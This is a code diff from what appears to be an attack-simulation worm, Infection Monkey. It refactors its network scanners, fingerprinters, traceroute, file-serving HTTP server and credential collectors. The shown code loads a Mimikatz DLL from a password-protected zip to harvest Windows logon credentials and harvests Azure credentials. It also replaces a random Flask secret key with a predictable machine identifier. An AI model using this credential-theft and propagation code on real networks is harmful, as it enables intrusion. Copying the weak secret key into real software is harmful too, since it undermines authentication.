self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
|
self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list]
|
||||||
if WormConfiguration.local_network_scan:
|
if WormConfiguration.local_network_scan:
|
||||||
self._ranges += get_interfaces_ranges()
|
self._ranges += get_interfaces_ranges()
|
||||||
|
self._ranges += self._get_inaccessible_subnets_ips()
|
||||||
LOG.info("Base local networks to scan are: %r", self._ranges)
|
LOG.info("Base local networks to scan are: %r", self._ranges)
|
||||||
|
|
||||||
|
def _get_inaccessible_subnets_ips(self):
|
||||||
|
"""
|
||||||
|
For each of the machine's IPs, checks if it's in one of the subnets specified in the
|
||||||
|
'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible.
|
||||||
|
All these subnets are returned.
|
||||||
|
:return: A list of subnets that shouldn't be accessible from the machine the monkey is running on.
|
||||||
|
"""
|
||||||
|
subnets_to_scan = []
|
||||||
|
if len(WormConfiguration.inaccessible_subnets) > 1:
|
||||||
|
for subnet_str in WormConfiguration.inaccessible_subnets:
|
||||||
|
if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str):
|
||||||
|
# If machine has IPs from 2 different subnets in the same group, there's no point checking the other
|
||||||
|
# subnet.
|
||||||
|
for other_subnet_str in WormConfiguration.inaccessible_subnets:
|
||||||
|
if other_subnet_str == subnet_str:
|
||||||
|
continue
|
||||||
|
if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses],
|
||||||
|
other_subnet_str):
|
||||||
|
subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str))
|
||||||
|
break
|
||||||
|
|
||||||
|
return subnets_to_scan
|
||||||
|
|
||||||
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
def get_victim_machines(self, scan_type, max_find=5, stop_callback=None):
|
||||||
assert issubclass(scan_type, HostScanner)
|
"""
|
||||||
|
Finds machines according to the ranges specified in the object
|
||||||
|
:param scan_type: A hostscanner class, will be instanced and used to scan for new machines
|
||||||
|
:param max_find: Max number of victims to find regardless of ranges
|
||||||
|
:param stop_callback: A callback to check at any point if we should stop scanning
|
||||||
|
:return: yields a sequence of VictimHost instances
|
||||||
|
"""
|
||||||
|
if not scan_type:
|
||||||
|
return
|
||||||
|
|
||||||
scanner = scan_type()
|
scanner = scan_type()
|
||||||
victims_count = 0
|
victims_count = 0
|
||||||
|
@ -76,3 +108,10 @@ class NetworkScanner(object):
|
||||||
|
|
||||||
if SCAN_DELAY:
|
if SCAN_DELAY:
|
||||||
time.sleep(SCAN_DELAY)
|
time.sleep(SCAN_DELAY)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _is_any_ip_in_subnet(ip_addresses, subnet_str):
|
||||||
|
for ip_address in ip_addresses:
|
||||||
|
if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address):
|
||||||
|
return True
|
||||||
|
return False
|
|
@ -4,8 +4,9 @@ import re
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
from model.host import VictimHost
|
import infection_monkey.config
|
||||||
from . import HostScanner, HostFinger
|
from infection_monkey.model.host import VictimHost
|
||||||
|
from infection_monkey.network import HostScanner, HostFinger
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -20,7 +21,7 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
class PingScanner(HostScanner, HostFinger):
|
class PingScanner(HostScanner, HostFinger):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
self._devnull = open(os.devnull, "w")
|
self._devnull = open(os.devnull, "w")
|
||||||
self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE)
|
self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE)
|
||||||
|
|
|
@ -1,10 +1,11 @@
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import logging
|
import logging
|
||||||
from network import HostFinger
|
|
||||||
from model.host import VictimHost
|
|
||||||
from odict import odict
|
from odict import odict
|
||||||
|
|
||||||
|
from infection_monkey.network import HostFinger
|
||||||
|
from infection_monkey.model.host import VictimHost
|
||||||
|
|
||||||
SMB_PORT = 445
|
SMB_PORT = 445
|
||||||
SMB_SERVICE = 'tcp-445'
|
SMB_SERVICE = 'tcp-445'
|
||||||
|
|
||||||
|
@ -100,7 +101,8 @@ class SMBSessionFingerData(Packet):
|
||||||
|
|
||||||
class SMBFinger(HostFinger):
|
class SMBFinger(HostFinger):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
self._config = WormConfiguration
|
||||||
|
|
||||||
def get_host_fingerprint(self, host):
|
def get_host_fingerprint(self, host):
|
||||||
assert isinstance(host, VictimHost)
|
assert isinstance(host, VictimHost)
|
|
@ -1,8 +1,9 @@
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from model.host import VictimHost
|
import infection_monkey.config
|
||||||
from network import HostFinger
|
from infection_monkey.model.host import VictimHost
|
||||||
from network.tools import check_tcp_port
|
from infection_monkey.network import HostFinger
|
||||||
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
|
|
||||||
SSH_PORT = 22
|
SSH_PORT = 22
|
||||||
SSH_SERVICE_DEFAULT = 'tcp-22'
|
SSH_SERVICE_DEFAULT = 'tcp-22'
|
||||||
|
@ -14,7 +15,7 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
|
||||||
|
|
||||||
class SSHFinger(HostFinger):
|
class SSHFinger(HostFinger):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
|
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
|
@ -1,8 +1,9 @@
|
||||||
from itertools import izip_longest
|
from itertools import izip_longest
|
||||||
from random import shuffle
|
from random import shuffle
|
||||||
|
|
||||||
from network import HostScanner, HostFinger
|
import infection_monkey.config
|
||||||
from network.tools import check_tcp_ports
|
from infection_monkey.network import HostScanner, HostFinger
|
||||||
|
from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -11,7 +12,7 @@ BANNER_READ = 1024
|
||||||
|
|
||||||
class TcpScanner(HostScanner, HostFinger):
|
class TcpScanner(HostScanner, HostFinger):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self._config = __import__('config').WormConfiguration
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
|
||||||
def is_host_alive(self, host):
|
def is_host_alive(self, host):
|
||||||
return self.get_host_fingerprint(host, True)
|
return self.get_host_fingerprint(host, True)
|
||||||
|
@ -31,7 +32,7 @@ class TcpScanner(HostScanner, HostFinger):
|
||||||
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
|
ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0,
|
||||||
self._config.tcp_scan_get_banner)
|
self._config.tcp_scan_get_banner)
|
||||||
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
|
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
|
||||||
service = 'tcp-' + str(target_port)
|
service = tcp_port_to_service(target_port)
|
||||||
host.services[service] = {}
|
host.services[service] = {}
|
||||||
if banner:
|
if banner:
|
||||||
host.services[service]['banner'] = banner
|
host.services[service]['banner'] = banner
|
|
@ -1,13 +1,19 @@
|
||||||
import logging
|
import logging
|
||||||
|
import sys
|
||||||
|
import subprocess
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
from six import text_type
|
||||||
|
import ipaddress
|
||||||
|
|
||||||
DEFAULT_TIMEOUT = 10
|
DEFAULT_TIMEOUT = 10
|
||||||
BANNER_READ = 1024
|
BANNER_READ = 1024
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
SLEEP_BETWEEN_POLL = 0.5
|
||||||
|
|
||||||
|
|
||||||
def struct_unpack_tracker(data, index, fmt):
|
def struct_unpack_tracker(data, index, fmt):
|
||||||
|
@ -126,15 +132,23 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
LOG.warning("Failed to connect to port %s, error code is %d", port, err)
|
LOG.warning("Failed to connect to port %s, error code is %d", port, err)
|
||||||
|
|
||||||
if len(possible_ports) != 0:
|
if len(possible_ports) != 0:
|
||||||
time.sleep(timeout)
|
timeout = int(round(timeout)) # clamp to integer, to avoid checking input
|
||||||
sock_objects = [s[1] for s in possible_ports]
|
sockets_to_try = possible_ports[:]
|
||||||
# first filter
|
connected_ports_sockets = []
|
||||||
_, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
|
while (timeout >= 0) and len(sockets_to_try):
|
||||||
for s in writeable_sockets:
|
sock_objects = [s[1] for s in sockets_to_try]
|
||||||
try: # actual test
|
|
||||||
connected_ports_sockets.append((s.getpeername()[1], s))
|
_, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
|
||||||
except socket.error: # bad socket, select didn't filter it properly
|
for s in writeable_sockets:
|
||||||
pass
|
try: # actual test
|
||||||
|
connected_ports_sockets.append((s.getpeername()[1], s))
|
||||||
|
except socket.error: # bad socket, select didn't filter it properly
|
||||||
|
pass
|
||||||
|
sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets]
|
||||||
|
if sockets_to_try:
|
||||||
|
time.sleep(SLEEP_BETWEEN_POLL)
|
||||||
|
timeout -= SLEEP_BETWEEN_POLL
|
||||||
|
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"On host %s discovered the following ports %s" %
|
"On host %s discovered the following ports %s" %
|
||||||
(str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
|
(str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
|
||||||
|
@ -154,3 +168,64 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||||
except socket.error as exc:
|
except socket.error as exc:
|
||||||
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
|
LOG.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc)
|
||||||
return [], []
|
return [], []
|
||||||
|
|
||||||
|
|
||||||
|
def tcp_port_to_service(port):
|
||||||
|
return 'tcp-' + str(port)
|
||||||
|
|
||||||
|
|
||||||
|
def traceroute(target_ip, ttl):
|
||||||
|
"""
|
||||||
|
Traceroute for a specific IP.
|
||||||
|
:param target_ip: Destination
|
||||||
|
:param ttl: Max TTL
|
||||||
|
:return: Sequence of IPs in the way
|
||||||
|
"""
|
||||||
|
if sys.platform == "win32":
|
||||||
|
try:
|
||||||
|
# we'll just use tracert because that's always there
|
||||||
|
cli = ["tracert",
|
||||||
|
"-d",
|
||||||
|
"-w", "250",
|
||||||
|
"-h", str(ttl),
|
||||||
|
target_ip]
|
||||||
|
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||||
|
stdout, stderr = proc_obj.communicate()
|
||||||
|
ip_lines = stdout.split('\r\n')[3:-3]
|
||||||
|
trace_list = []
|
||||||
|
for line in ip_lines:
|
||||||
|
tokens = line.split()
|
||||||
|
last_token = tokens[-1]
|
||||||
|
try:
|
||||||
|
ip_addr = ipaddress.ip_address(text_type(last_token))
|
||||||
|
except ValueError:
|
||||||
|
ip_addr = ""
|
||||||
|
trace_list.append(ip_addr)
|
||||||
|
return trace_list
|
||||||
|
except:
|
||||||
|
return []
|
||||||
|
else: # linux based hopefully
|
||||||
|
# implementation note: We're currently going to just use ping.
|
||||||
|
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
|
||||||
|
# while this is just ugly
|
||||||
|
# we can't use traceroute because it's not always installed
|
||||||
|
current_ttl = 1
|
||||||
|
trace_list = []
|
||||||
|
while current_ttl <= ttl:
|
||||||
|
try:
|
||||||
|
cli = ["ping",
|
||||||
|
"-c", "1",
|
||||||
|
"-w", "1",
|
||||||
|
"-t", str(current_ttl),
|
||||||
|
target_ip]
|
||||||
|
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
|
||||||
|
stdout, stderr = proc_obj.communicate()
|
||||||
|
ip_line = stdout.split('\n')
|
||||||
|
ip_line = ip_line[1]
|
||||||
|
ip = ip_line.split()[1]
|
||||||
|
trace_list.append(ipaddress.ip_address(text_type(ip)))
|
||||||
|
except (IndexError, ValueError):
|
||||||
|
# assume we failed parsing output
|
||||||
|
trace_list.append("")
|
||||||
|
current_ttl += 1
|
||||||
|
return trace_list
|
|
@ -0,0 +1,25 @@
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
def get_binaries_dir_path():
|
||||||
|
"""
|
||||||
|
Gets the path to the binaries dir (files packaged in pyinstaller if it was used, infection_monkey dir otherwise)
|
||||||
|
:return: Binaries dir path
|
||||||
|
"""
|
||||||
|
if getattr(sys, 'frozen', False):
|
||||||
|
return sys._MEIPASS
|
||||||
|
else:
|
||||||
|
return os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
|
||||||
|
def get_binary_file_path(filename):
|
||||||
|
"""
|
||||||
|
Gets the path to a binary file
|
||||||
|
:param filename: name of the file
|
||||||
|
:return: Path to file
|
||||||
|
"""
|
||||||
|
return os.path.join(get_binaries_dir_path(), filename)
|
|
@ -70,4 +70,9 @@ Sambacry requires two standalone binaries to execute remotely.
|
||||||
|
|
||||||
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
|
||||||
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
|
https://github.com/guardicore/mimikatz/releases/tag/1.0.0
|
||||||
Download both 32 and 64 bit DLLs and place them under [code location]\infection_monkey\bin
|
Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin
|
||||||
|
Alternatively, if you build Mimikatz, put each version in a zip file.
|
||||||
|
1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll
|
||||||
|
2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'.
|
||||||
|
3. The zip file should be named mk32.zip/mk64.zip accordingly.
|
||||||
|
4. Zipping with 7zip has been tested. Other zipping software may not work.
|
|
@ -5,8 +5,8 @@ import sys
|
||||||
import psutil
|
import psutil
|
||||||
from enum import IntEnum
|
from enum import IntEnum
|
||||||
|
|
||||||
from network.info import get_host_subnets
|
from infection_monkey.network.info import get_host_subnets
|
||||||
from azure_cred_collector import AzureCollector
|
from infection_monkey.system_info.azure_cred_collector import AzureCollector
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -112,7 +112,7 @@ class InfoCollector(object):
|
||||||
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
|
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
|
||||||
:return: None. Updates class information
|
:return: None. Updates class information
|
||||||
"""
|
"""
|
||||||
from config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
if not WormConfiguration.extract_azure_creds:
|
if not WormConfiguration.extract_azure_creds:
|
||||||
return
|
return
|
||||||
LOG.debug("Harvesting creds if on an Azure machine")
|
LOG.debug("Harvesting creds if on an Azure machine")
|
|
@ -1,7 +1,7 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from . import InfoCollector
|
from infection_monkey.system_info import InfoCollector
|
||||||
from SSH_info_collector import SSHCollector
|
from infection_monkey.system_info.SSH_info_collector import SSHCollector
|
||||||
|
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
|
@ -2,6 +2,11 @@ import binascii
|
||||||
import ctypes
|
import ctypes
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
import infection_monkey.config
|
||||||
|
|
||||||
|
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
@ -13,12 +18,30 @@ class MimikatzCollector(object):
|
||||||
Password collection module for Windows using Mimikatz.
|
Password collection module for Windows using Mimikatz.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
|
||||||
try:
|
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
|
||||||
|
|
||||||
self._isInit = False
|
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
|
||||||
self._config = __import__('config').WormConfiguration
|
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||||
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
|
|
||||||
|
# Password to Mimikatz zip file
|
||||||
|
MIMIKATZ_ZIP_PASSWORD = r'VTQpsJPXgZuXhX6x3V84G'
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
self._isInit = False
|
||||||
|
self._dll = None
|
||||||
|
self._collect = None
|
||||||
|
self._get = None
|
||||||
|
self.init_mimikatz()
|
||||||
|
|
||||||
|
def init_mimikatz(self):
|
||||||
|
try:
|
||||||
|
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
|
||||||
|
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
|
||||||
|
pwd=self.MIMIKATZ_ZIP_PASSWORD)
|
||||||
|
|
||||||
|
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
||||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||||
self._collect = collect_proto(("collect", self._dll))
|
self._collect = collect_proto(("collect", self._dll))
|
|
@ -1,7 +1,8 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from mimikatz_collector import MimikatzCollector
|
import infection_monkey.config
|
||||||
from . import InfoCollector
|
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
||||||
|
from infection_monkey.system_info import InfoCollector
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -15,6 +16,7 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
super(WindowsInfoCollector, self).__init__()
|
super(WindowsInfoCollector, self).__init__()
|
||||||
|
self._config = infection_monkey.config.WormConfiguration
|
||||||
|
|
||||||
def get_info(self):
|
def get_info(self):
|
||||||
"""
|
"""
|
||||||
|
@ -28,7 +30,13 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
self.get_network_info()
|
self.get_network_info()
|
||||||
self.get_azure_info()
|
self.get_azure_info()
|
||||||
mimikatz_collector = MimikatzCollector()
|
self._get_mimikatz_info()
|
||||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
|
||||||
self.info["credentials"].update(mimikatz_info)
|
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
|
def _get_mimikatz_info(self):
|
||||||
|
if self._config.should_use_mimikatz:
|
||||||
|
LOG.info("Using mimikatz")
|
||||||
|
self.info["credentials"].update(MimikatzCollector().get_logon_info())
|
||||||
|
else:
|
||||||
|
LOG.info("Not using mimikatz")
|
|
@ -3,7 +3,7 @@ import logging
|
||||||
import sys
|
import sys
|
||||||
from abc import ABCMeta, abstractmethod
|
from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
from config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'hoffer'
|
|
@ -3,6 +3,7 @@ from threading import Thread
|
||||||
|
|
||||||
g_last_served = None
|
g_last_served = None
|
||||||
|
|
||||||
|
|
||||||
class TransportProxyBase(Thread):
|
class TransportProxyBase(Thread):
|
||||||
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
|
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=''):
|
||||||
global g_last_served
|
global g_last_served
|
|
@ -6,9 +6,10 @@ import threading
|
||||||
import urllib
|
import urllib
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from urlparse import urlsplit
|
from urlparse import urlsplit
|
||||||
|
from threading import Lock
|
||||||
|
|
||||||
import monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
from base import TransportProxyBase, update_last_serve_time
|
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -183,6 +184,49 @@ class HTTPServer(threading.Thread):
|
||||||
self.join(timeout)
|
self.join(timeout)
|
||||||
|
|
||||||
|
|
||||||
|
class LockedHTTPServer(threading.Thread):
|
||||||
|
"""
|
||||||
|
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
|
||||||
|
You create a lock instance and pass it to this server's constructor. Then acquire the lock
|
||||||
|
before starting the server and after it. Once the server starts it will release the lock
|
||||||
|
and subsequent code will be able to continue to execute. That way subsequent code will
|
||||||
|
always call already running HTTP server
|
||||||
|
"""
|
||||||
|
# Seconds to wait until server stops
|
||||||
|
STOP_TIMEOUT = 5
|
||||||
|
|
||||||
|
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
|
||||||
|
self._local_ip = local_ip
|
||||||
|
self._local_port = local_port
|
||||||
|
self._filename = filename
|
||||||
|
self.max_downloads = max_downloads
|
||||||
|
self.downloads = 0
|
||||||
|
self._stopped = False
|
||||||
|
self.lock = lock
|
||||||
|
threading.Thread.__init__(self)
|
||||||
|
self.daemon = True
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
class TempHandler(FileServHTTPRequestHandler):
|
||||||
|
filename = self._filename
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def report_download(dest=None):
|
||||||
|
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||||
|
self.downloads += 1
|
||||||
|
|
||||||
|
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||||
|
self.lock.release()
|
||||||
|
while not self._stopped and self.downloads < self.max_downloads:
|
||||||
|
httpd.handle_request()
|
||||||
|
|
||||||
|
self._stopped = True
|
||||||
|
|
||||||
|
def stop(self, timeout=STOP_TIMEOUT):
|
||||||
|
self._stopped = True
|
||||||
|
self.join(timeout)
|
||||||
|
|
||||||
|
|
||||||
class HTTPConnectProxy(TransportProxyBase):
|
class HTTPConnectProxy(TransportProxyBase):
|
||||||
def run(self):
|
def run(self):
|
||||||
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
|
@ -1,9 +1,10 @@
|
||||||
import socket
|
import socket
|
||||||
import select
|
import select
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
from base import TransportProxyBase, update_last_serve_time
|
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
|
|
||||||
|
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||||
|
|
||||||
READ_BUFFER_SIZE = 8192
|
READ_BUFFER_SIZE = 8192
|
||||||
DEFAULT_TIMEOUT = 30
|
DEFAULT_TIMEOUT = 30
|
||||||
|
|
|
@ -5,11 +5,11 @@ import time
|
||||||
from difflib import get_close_matches
|
from difflib import get_close_matches
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
|
||||||
from model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
from network.firewall import app as firewall
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from network.info import local_ips, get_free_tcp_port
|
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||||
from network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from transport.base import get_last_serve_time
|
from infection_monkey.transport.base import get_last_serve_time
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
|
@ -2,7 +2,7 @@ import os
|
||||||
import sys
|
import sys
|
||||||
import struct
|
import struct
|
||||||
|
|
||||||
from config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_log_path():
|
def get_monkey_log_path():
|
||||||
|
@ -29,3 +29,4 @@ def is_64bit_python():
|
||||||
|
|
||||||
def is_windows_os():
|
def is_windows_os():
|
||||||
return sys.platform.startswith("win")
|
return sys.platform.startswith("win")
|
||||||
|
|
|
@ -5,12 +5,12 @@ import shutil
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
from config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
from control import ControlClient
|
from infection_monkey.control import ControlClient
|
||||||
from exploit.tools import build_monkey_commandline_explicitly
|
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||||
from model import MONKEY_CMDLINE_WINDOWS
|
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
|
||||||
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
|
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
|
@ -0,0 +1,4 @@
|
||||||
|
import monkey_island.cc.main
|
||||||
|
|
||||||
|
if "__main__" == __name__:
|
||||||
|
monkey_island.cc.main.main()
|
|
@ -0,0 +1 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
|
@ -1,10 +1,11 @@
|
||||||
import os
|
import os
|
||||||
|
import uuid
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
|
||||||
import bson
|
import bson
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from bson.json_util import dumps
|
from bson.json_util import dumps
|
||||||
from flask import Flask, send_from_directory, make_response
|
from flask import Flask, send_from_directory, make_response, Response
|
||||||
from werkzeug.exceptions import NotFound
|
from werkzeug.exceptions import NotFound
|
||||||
|
|
||||||
from cc.auth import init_jwt
|
from cc.auth import init_jwt
|
||||||
|
@ -29,18 +30,24 @@ from cc.services.config import ConfigService
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
|
||||||
|
HOME_FILE = 'index.html'
|
||||||
|
|
||||||
|
|
||||||
def serve_static_file(static_path):
|
def serve_static_file(static_path):
|
||||||
if static_path.startswith('api/'):
|
if static_path.startswith('api/'):
|
||||||
raise NotFound()
|
raise NotFound()
|
||||||
try:
|
try:
|
||||||
return send_from_directory('ui/dist', static_path)
|
return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path)
|
||||||
except NotFound:
|
except NotFound:
|
||||||
# Because react uses various urls for same index page, this is probably the user's intention.
|
# Because react uses various urls for same index page, this is probably the user's intention.
|
||||||
|
if static_path == HOME_FILE:
|
||||||
|
flask_restful.abort(
|
||||||
|
Response("Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", 500))
|
||||||
return serve_home()
|
return serve_home()
|
||||||
|
|
||||||
|
|
||||||
def serve_home():
|
def serve_home():
|
||||||
return serve_static_file('index.html')
|
return serve_static_file(HOME_FILE)
|
||||||
|
|
||||||
|
|
||||||
def normalize_obj(obj):
|
def normalize_obj(obj):
|
||||||
|
@ -77,7 +84,7 @@ def init_app(mongo_url):
|
||||||
|
|
||||||
app.config['MONGO_URI'] = mongo_url
|
app.config['MONGO_URI'] = mongo_url
|
||||||
|
|
||||||
app.config['SECRET_KEY'] = os.urandom(32)
|
app.config['SECRET_KEY'] = uuid.getnode()
|
||||||
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
|
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
|
||||||
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
|
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()
|
||||||
|
|
|
@ -9,7 +9,7 @@ __author__ = "itay.mizeretz"
|
||||||
|
|
||||||
class Encryptor:
|
class Encryptor:
|
||||||
_BLOCK_SIZE = 32
|
_BLOCK_SIZE = 32
|
||||||
